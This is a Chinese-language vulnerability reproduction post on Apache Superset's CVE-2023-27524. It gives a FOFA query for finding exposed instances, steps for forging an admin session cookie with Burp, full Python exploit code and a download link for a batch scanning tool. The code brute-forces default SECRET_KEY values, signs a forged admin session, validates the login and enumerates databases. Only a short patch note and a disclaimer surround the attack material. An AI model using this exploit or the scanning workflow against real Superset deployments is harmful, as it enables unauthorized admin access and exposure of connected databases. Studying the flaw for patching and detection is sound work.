Apache Superset 未授权访问漏洞(CVE-2023-27524)

Apache Superset 存在未授权访问漏洞【CVE-2023-27524】详细利用过程

  • 免责声明:
  • 一、Apache Superset 简介
  • 二、漏洞描述
  • 三、影响版本
  • 四、fofa 查询语句
  • 五、漏洞复现
  • 六、POC&EXP
    • 批量检测工具
    • 工具下载链接
  • 七、整改意见

免责声明:

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、Apache Superset 简介

Apache Superset 是美国阿帕奇(Apache)基金会的一个数据可视化和数据探索平台。

二、漏洞描述

Apache Superset 是美国阿帕奇(Apache)基金会的一个数据可视化和数据探索平台。Apache Superset 2.0.1 版本及之前版本存在安全漏洞。攻击者利用该漏洞验证和访问未经授权的资源。

CVE 编号:CVE-2023-27524
CNNVD 编号:CNNVD-202304-1915
CNVD 编号:

三、影响版本

Apache Superset 2.0.1 版本及之前版本

Apache Superset 未授权访问漏洞(CVE-2023-27524)_第1张图片

四、fofa 查询语句

“Apache Superset”

五、漏洞复现

漏洞利用工具 :https://github.com/horizon3ai/CVE-2023-27524
下载该软件:
然后执行如下命令,-u后面跟你想要检测的地址。

python3 CVE-2023-27524.py -u http://127.0.0.1/ --validate
若存在漏洞这里会爆出一个cookie值

Apache Superset 未授权访问漏洞(CVE-2023-27524)_第2张图片

然后访问漏洞url,使用brupsuite截断数据包,替换上面爆出来的cookie值。
替换后放开数据包,成功登录进去Apache Superset 管理后台

Apache Superset 未授权访问漏洞(CVE-2023-27524)_第3张图片

Apache Superset 未授权访问漏洞(CVE-2023-27524)_第4张图片

六、POC&EXP

python代码

from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

def main():

    parser = argparse.ArgumentParser()
    parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
    parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
    parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
    parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
    args = parser.parse_args()

    try:
        u = args.url.rstrip('/') + '/login/'

        headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
        }

        resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
        if resp.status_code != 200:
            print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
            return

        session_cookie = None
        for c in resp.cookies:
            if c.name == 'session':
                session_cookie = c.value
                break

        if not session_cookie:
            print('Error: No session cookie found')
            return

        print(f'Got session cookie: {session_cookie}')

        try:
            decoded = session.decode(session_cookie)
            print(f'Decoded session cookie: {decoded}')
        except:
            print('Error: Not a Flask session cookie')
            return

        match = re.search(r'"version_string": "(.*?)"', resp.text)
        if match:
            version = match.group(1)
        else:
            version = 'Unknown'

        print(f'Superset Version: {version}')

            
        for i, k in enumerate(SECRET_KEYS):
            cracked = session.verify(session_cookie, k)
            if cracked:
                break

        if not cracked:
            print('Failed to crack session cookie')
            return

        print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')

        try:
            user_id = int(args.id)
        except:
            user_id = args.id
        
        forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
        print(f'Forged session cookie for user {user_id}: {forged_cookie}')

        if args.validate:
            validated = False
            try:
                headers['Cookie'] = f'session={forged_cookie}'
                print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
                sleep(args.timeout)
                resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
                if resp.status_code == 302:
                    print(f'Got 302 on login, forged cookie appears to have been accepted')
                    validated = True
                else:
                    print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
            except Exception as e_inner:
                print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')

            if not validated:
                return

            print('Enumerating databases')
            for i in range(1, 101):
                database_url_base = args.url.rstrip('/') + '/api/v1/database'
                try:
                    r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
                    if r.status_code == 200:
                        result = r.json()['result'] # validate response is JSON
                        name = result['database_name']
                        print(f'Found database {name}')
                    elif r.status_code == 404:
                        print(f'Done enumerating databases')
                        break # no more databases
                    else:
                        print(f'Unexpected error: status code={r.status_code}')
                        break
                except Exception as e_inner:
                    print(f'Unexpected error: {e_inner}')
                    break


    except Exception as e:
        print(f'Unexpected error: {e}')


if __name__ == '__main__':
    main()

批量检测工具

Apache Superset 未授权访问漏洞(CVE-2023-27524)_第5张图片

利用小龙工具,一通梭哈

就问你哈拉少不哈拉少

工具下载链接

链接:https://pan.baidu.com/s/1kCG5D4PMwY5wKeR47yL6iA?pwd=6666
提取码:6666

七、整改意见

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:https://lists.apache.org/thread/n0ftx60sllf527j7g11kmt24wvof8xyk

你可能感兴趣的:(网络安全漏洞复现,apache)